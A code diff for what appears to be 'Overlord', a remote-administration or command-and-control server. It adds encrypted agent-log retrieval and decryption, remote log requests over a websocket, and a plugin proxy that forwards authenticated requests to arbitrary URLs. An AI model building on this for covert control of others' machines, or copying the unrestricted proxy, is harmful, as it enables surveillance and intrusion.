v: 1,
|
||||
alg: "RSA-OAEP-SHA256+A256GCM",
|
||||
seq,
|
||||
at,
|
||||
source,
|
||||
wrappedKey: wrapped.toString("base64"),
|
||||
nonce: nonce.toString("base64"),
|
||||
ciphertext: encrypted.toString("base64"),
|
||||
})).toString("base64");
|
||||
}
|
||||
|
||||
describe("client log crypto", () => {
|
||||
test("decrypts secure log blobs", () => {
|
||||
const blob = makeBlob(7, 12345, "log", "hello secure logs");
|
||||
expect(decryptClientLogBlob(blob)).toEqual({
|
||||
seq: 7,
|
||||
at: 12345,
|
||||
source: "log",
|
||||
text: "hello secure logs",
|
||||
});
|
||||
});
|
||||
|
||||
test("extracts offline console lines", () => {
|
||||
const blob = makeBlob(8, 12346, "stdout", "offline");
|
||||
expect(extractSecureLogBlobs(`noise\nOVERLORD-SECURE-LOG v1 seq=8 source=stdout ${blob}\n`)).toContain(blob);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,102 @@
|
||||
import {
|
||||
constants,
|
||||
createDecipheriv,
|
||||
generateKeyPairSync,
|
||||
privateDecrypt,
|
||||
} from "crypto";
|
||||
import logger from "../logger";
|
||||
import {
|
||||
getClientLogSecrets,
|
||||
setClientLogSecrets,
|
||||
type ClientLogSecrets,
|
||||
} from "../config";
|
||||
|
||||
type SecureLogEnvelope = {
|
||||
v: number;
|
||||
alg: string;
|
||||
seq: number;
|
||||
at: number;
|
||||
source: string;
|
||||
wrappedKey: string;
|
||||
nonce: string;
|
||||
ciphertext: string;
|
||||
};
|
||||
|
||||
export type DecryptedClientLog = {
|
||||
seq: number;
|
||||
at: number;
|
||||
source: string;
|
||||
text: string;
|
||||
};
|
||||
|
||||
let cachedSecrets: ClientLogSecrets | null = null;
|
||||
|
||||
function ensureClientLogSecrets(): ClientLogSecrets {
|
||||
if (cachedSecrets) return cachedSecrets;
|
||||
let secrets = getClientLogSecrets();
|
||||
if (!secrets) {
|
||||
const kp = generateKeyPairSync("rsa", {
|
||||
modulusLength: 3072,
|
||||
publicKeyEncoding: { type: "spki", format: "der" },
|
||||
privateKeyEncoding: { type: "pkcs8", format: "pem" },
|
||||
});
|
||||
secrets = {
|
||||
privateKey: kp.privateKey.toString(),
|
||||
publicKey: Buffer.from(kp.publicKey).toString("base64"),
|
||||
};
|
||||
setClientLogSecrets(secrets);
|
||||
logger.info("[client-logs] generated new RSA-OAEP log decryption keypair");
|
||||
}
|
||||
cachedSecrets = secrets;
|
||||
return secrets;
|
||||
}
|
||||
|
||||
export function getClientLogPublicKey(): string {
|
||||
return ensureClientLogSecrets().publicKey;
|
||||
}
|
||||
|
||||
export function resetClientLogCryptoCacheForTests(): void {
|
||||
cachedSecrets = null;
|
||||
}
|
||||
|
||||
export function decryptClientLogBlob(blob: string): DecryptedClientLog {
|
||||
const secrets = ensureClientLogSecrets();
|
||||
const decoded = Buffer.from(String(blob || "").trim(), "base64").toString("utf-8");
|
||||
const env = JSON.parse(decoded) as SecureLogEnvelope;
|
||||
if (!env || env.v !== 1 || env.alg !== "RSA-OAEP-SHA256+A256GCM") {
|
||||
throw new Error("Unsupported secure log envelope");
|
||||
}
|
||||
const seq = Number(env.seq) || 0;
|
||||
const at = Number(env.at) || 0;
|
||||
const source = String(env.source || "log");
|
||||
const aad = Buffer.from(`${seq}:${at}:${source}`, "utf-8");
|
||||
const aesKey = privateDecrypt(
|
||||
{
|
||||
key: secrets.privateKey,
|
||||
oaepHash: "sha256",
|
||||
padding: constants.RSA_PKCS1_OAEP_PADDING,
|
||||
oaepLabel: aad,
|
||||
},
|
||||
Buffer.from(env.wrappedKey, "base64"),
|
||||
);
|
||||
const encrypted = Buffer.from(env.ciphertext, "base64");
|
||||
if (encrypted.length < 17) throw new Error("Malformed secure log ciphertext");
|
||||
const tag = encrypted.subarray(encrypted.length - 16);
|
||||
const ciphertext = encrypted.subarray(0, encrypted.length - 16);
|
||||
const decipher = createDecipheriv("aes-256-gcm", aesKey, Buffer.from(env.nonce, "base64"));
|
||||
decipher.setAAD(aad);
|
||||
decipher.setAuthTag(tag);
|
||||
const plaintext = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
|
||||
return { seq, at, source, text: plaintext.toString("utf-8") };
|
||||
}
|
||||
|
||||
export function extractSecureLogBlobs(input: string): string[] {
|
||||
const blobs: string[] = [];
|
||||
for (const line of String(input || "").split(/\r?\n/)) {
|
||||
const trimmed = line.trim();
|
||||
if (!trimmed) continue;
|
||||
const match = trimmed.match(/OVERLORD-SECURE-LOG\s+v1\s+seq=\d+\s+source=\S+\s+([A-Za-z0-9+/=]+)$/);
|
||||
blobs.push(match ? match[1] : trimmed);
|
||||
}
|
||||
return blobs;
|
||||
}
|
||||
@@ -46,6 +46,7 @@ type PluginContext = {
|
||||
warn: (message: string) => void;
|
||||
error: (message: string) => void;
|
||||
};
|
||||
fetch: typeof fetch;
|
||||
broadcast: (channel: string, data: unknown) => void;
|
||||
};
|
||||
|
||||
@@ -86,6 +87,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
||||
db,
|
||||
dataDir,
|
||||
log: makeLogger(),
|
||||
fetch: globalThis.fetch.bind(globalThis),
|
||||
broadcast: (channel, data) => send({ type: "broadcast", channel, data }),
|
||||
};
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ import { notifyDashboardViewers } from "../../sessions/sessionManager";
|
||||
import { clearThumbnail } from "../../thumbnails";
|
||||
import { handleClientCommandRoute } from "./client-command-routes";
|
||||
import { handleClientGroupRoutes } from "./client-group-routes";
|
||||
import { decryptClientLogBlob, extractSecureLogBlobs } from "../client-log-crypto";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
@@ -66,10 +67,34 @@ export async function handleClientRoutes(
|
||||
server: RequestIpProvider,
|
||||
deps: ClientRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups")) {
|
||||
if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups") && !url.pathname.startsWith("/api/client-logs")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/client-logs/decrypt") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
let body: any = {};
|
||||
try { body = await req.json(); } catch {}
|
||||
const raw = typeof body?.blob === "string" ? body.blob : "";
|
||||
const blobs = extractSecureLogBlobs(raw).slice(0, 1000);
|
||||
const logs = [];
|
||||
const errors = [];
|
||||
for (const blob of blobs) {
|
||||
try {
|
||||
logs.push(decryptClientLogBlob(blob));
|
||||
} catch (err) {
|
||||
errors.push((err as Error).message);
|
||||
}
|
||||
}
|
||||
logs.sort((a, b) => a.seq - b.seq || a.at - b.at);
|
||||
return Response.json({ ok: errors.length === 0, logs, errors }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
@@ -115,6 +140,73 @@ export async function handleClientRoutes(
|
||||
return Response.json({ countries: listDistinctCountries() }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const logsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/logs$/);
|
||||
if (req.method === "POST" && logsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const targetId = logsMatch[1];
|
||||
try { requireClientAccess(user, targetId); } catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return Response.json({ ok: false, error: "Client not online or not found" }, { status: 404 });
|
||||
let body: any = {};
|
||||
try { body = await req.json(); } catch {}
|
||||
const limit = Math.max(1, Math.min(512, Math.floor(Number(body?.limit || 200))));
|
||||
const sinceSeq = Math.max(0, Math.floor(Number(body?.sinceSeq || 0)));
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Client logs request timed out"));
|
||||
}, 30_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||
});
|
||||
|
||||
target.ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "client_logs_request",
|
||||
id: cmdId,
|
||||
payload: { sinceSeq, limit },
|
||||
} as any));
|
||||
metrics.recordCommand("client_logs_request");
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: "client_logs_request", success: true });
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
const rawPayload = result.message ? JSON.parse(result.message) : {};
|
||||
const entries = Array.isArray(rawPayload.entries) ? rawPayload.entries : [];
|
||||
const logs = [];
|
||||
const errors = [];
|
||||
for (const entry of entries) {
|
||||
try {
|
||||
logs.push(decryptClientLogBlob(String(entry.blob || "")));
|
||||
} catch (err) {
|
||||
errors.push({ seq: Number(entry.seq) || 0, error: (err as Error).message });
|
||||
}
|
||||
}
|
||||
logs.sort((a, b) => a.seq - b.seq || a.at - b.at);
|
||||
return Response.json({
|
||||
ok: result.ok && errors.length === 0,
|
||||
enabled: Boolean(rawPayload.enabled),
|
||||
dropped: Number(rawPayload.dropped) || 0,
|
||||
fromSeq: Number(rawPayload.fromSeq) || 0,
|
||||
toSeq: Number(rawPayload.toSeq) || 0,
|
||||
logs,
|
||||
errors,
|
||||
clientError: typeof rawPayload.error === "string" ? rawPayload.error : "",
|
||||
}, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Client logs request failed" }, { status: 504 });
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients/banned-ips") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
|
||||
@@ -4,7 +4,7 @@ import path from "path";
|
||||
import AdmZip from "adm-zip";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
|
||||
import { requireAnyPermission, requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
|
||||
import { canUserAccessPlugin } from "../../users";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
@@ -43,6 +43,17 @@ type PluginState = {
|
||||
approvedNeeds: Record<string, string>;
|
||||
};
|
||||
|
||||
const HOP_BY_HOP_HEADERS = new Set([
|
||||
"connection",
|
||||
"keep-alive",
|
||||
"proxy-authenticate",
|
||||
"proxy-authorization",
|
||||
"te",
|
||||
"trailer",
|
||||
"transfer-encoding",
|
||||
"upgrade",
|
||||
]);
|
||||
|
||||
type PluginRouteDeps = {
|
||||
PLUGIN_ROOT: string;
|
||||
PUBLIC_ROOT: string;
|
||||
@@ -157,6 +168,58 @@ export async function handlePluginRoutes(
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
async function requirePluginApiAccess(pluginId: string): Promise<Response | null> {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requireAnyPermission(user, ["clients:control", "clients:build"]);
|
||||
requirePluginAccess(user, pluginId);
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
if (deps.pluginState.enabled[pluginId] === false) {
|
||||
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function parseProxyUrl(value: unknown): URL | null {
|
||||
if (typeof value !== "string" || !value.trim()) return null;
|
||||
try {
|
||||
const target = new URL(value);
|
||||
return target.protocol === "http:" || target.protocol === "https:" ? target : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function sanitizeProxyHeaders(value: unknown): Headers {
|
||||
const headers = new Headers();
|
||||
if (!value || typeof value !== "object" || Array.isArray(value)) return headers;
|
||||
for (const [key, rawValue] of Object.entries(value as Record<string, unknown>)) {
|
||||
const name = key.toLowerCase();
|
||||
if (HOP_BY_HOP_HEADERS.has(name) || name === "host" || name === "cookie" || name === "set-cookie") continue;
|
||||
if (typeof rawValue === "string") headers.set(key, rawValue);
|
||||
}
|
||||
return headers;
|
||||
}
|
||||
|
||||
async function makePluginProxyResponse(upstream: Response): Promise<Response> {
|
||||
const headers = new Headers();
|
||||
upstream.headers.forEach((value, key) => {
|
||||
const name = key.toLowerCase();
|
||||
if (HOP_BY_HOP_HEADERS.has(name) || name === "set-cookie") return;
|
||||
headers.set(key, value);
|
||||
});
|
||||
headers.set("Cache-Control", "no-store");
|
||||
return new Response(upstream.body, {
|
||||
status: upstream.status,
|
||||
statusText: upstream.statusText,
|
||||
headers,
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/plugins") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
@@ -291,6 +354,57 @@ export async function handlePluginRoutes(
|
||||
return Response.json({ ok: true, trustedKeys: keys });
|
||||
}
|
||||
|
||||
const pluginProxyMatch = url.pathname.match(/^\/api\/plugins\/([^/]+)\/proxy$/);
|
||||
if ((req.method === "GET" || req.method === "POST") && pluginProxyMatch) {
|
||||
let pluginId = "";
|
||||
try { pluginId = deps.sanitizePluginId(pluginProxyMatch[1]); } catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const accessResponse = await requirePluginApiAccess(pluginId);
|
||||
if (accessResponse) return accessResponse;
|
||||
|
||||
let target: URL | null = null;
|
||||
let method = "GET";
|
||||
let headers = new Headers();
|
||||
let body: BodyInit | undefined;
|
||||
|
||||
if (req.method === "GET") {
|
||||
target = parseProxyUrl(url.searchParams.get("url"));
|
||||
} else {
|
||||
let payload: any = {};
|
||||
try { payload = await req.json(); } catch {
|
||||
return Response.json({ ok: false, error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
target = parseProxyUrl(payload.url);
|
||||
method = typeof payload.method === "string" ? payload.method.toUpperCase() : "GET";
|
||||
if (!["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD"].includes(method)) {
|
||||
return Response.json({ ok: false, error: "Unsupported proxy method" }, { status: 400 });
|
||||
}
|
||||
headers = sanitizeProxyHeaders(payload.headers);
|
||||
if (payload.body !== undefined && method !== "GET" && method !== "HEAD") {
|
||||
body = typeof payload.body === "string" ? payload.body : JSON.stringify(payload.body);
|
||||
if (!headers.has("Content-Type") && typeof payload.body !== "string") {
|
||||
headers.set("Content-Type", "application/json");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!target) {
|
||||
return Response.json({ ok: false, error: "Proxy url must be http or https" }, { status: 400 });
|
||||
}
|
||||
|
||||
try {
|
||||
const upstream = await fetch(target, { method, headers, body, redirect: "follow" });
|
||||
return makePluginProxyResponse(upstream);
|
||||
} catch (err) {
|
||||
return Response.json(
|
||||
{ ok: false, error: err instanceof Error ? err.message : String(err) },
|
||||
{ status: 502 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
|
||||
if (req.method === "GET" && clientPluginsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -797,6 +797,19 @@ export async function handleWebSocketMessage(
|
||||
);
|
||||
}
|
||||
break;
|
||||
case "client_logs_result":
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
|
||||
if (pending) {
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: Boolean((payload as any).ok),
|
||||
message: JSON.stringify(payload),
|
||||
});
|
||||
deps.pendingCommandReplies.delete((payload as any).commandId);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case "command_progress":
|
||||
deps.handleFileBrowserMessage(client.id, payload);
|
||||
break;
|
||||
|
||||
@@ -20,6 +20,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"file_peek_result",
|
||||
"file_hash_result",
|
||||
"command_result",
|
||||
"client_logs_result",
|
||||
"screenshot_result",
|
||||
"command_progress",
|
||||
"process_list_result",
|
||||
|
||||
@@ -100,6 +100,27 @@ stream.addEventListener("changed", (event) => {
|
||||
|
||||
RPC calls require `clients:control`, time out after 30 seconds, and must target a method exported in the plugin's `rpc` map. SSE streams also require `clients:control`.
|
||||
|
||||
### Trusted Requests
|
||||
|
||||
Server-side plugin code, including build hooks, can make trusted outbound requests with `ctx.fetch(url, options)`. These requests run from the Overlord server process and are not subject to browser CORS.
|
||||
|
||||
Browser plugin UI is still normal browser JavaScript. If a plugin page needs to call an API that does not allow browser CORS, call the same-origin proxy instead:
|
||||
|
||||
```js
|
||||
const res = await fetch("/api/plugins/my-plugin/proxy", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
url: "https://example.internal/api/releases",
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: { buildId: "abc123" },
|
||||
}),
|
||||
});
|
||||
```
|
||||
|
||||
The proxy requires the signed-in user to have access to that plugin. It only proxies `http:` and `https:` URLs.
|
||||
|
||||
## Build Hooks
|
||||
|
||||
Server-side plugins can hook the agent builder without shipping agent code. Browser UI is never called from the build process; only `server.js` or compiled `src/server.ts` participates.
|
||||
|
||||
Reference in New Issue
Block a user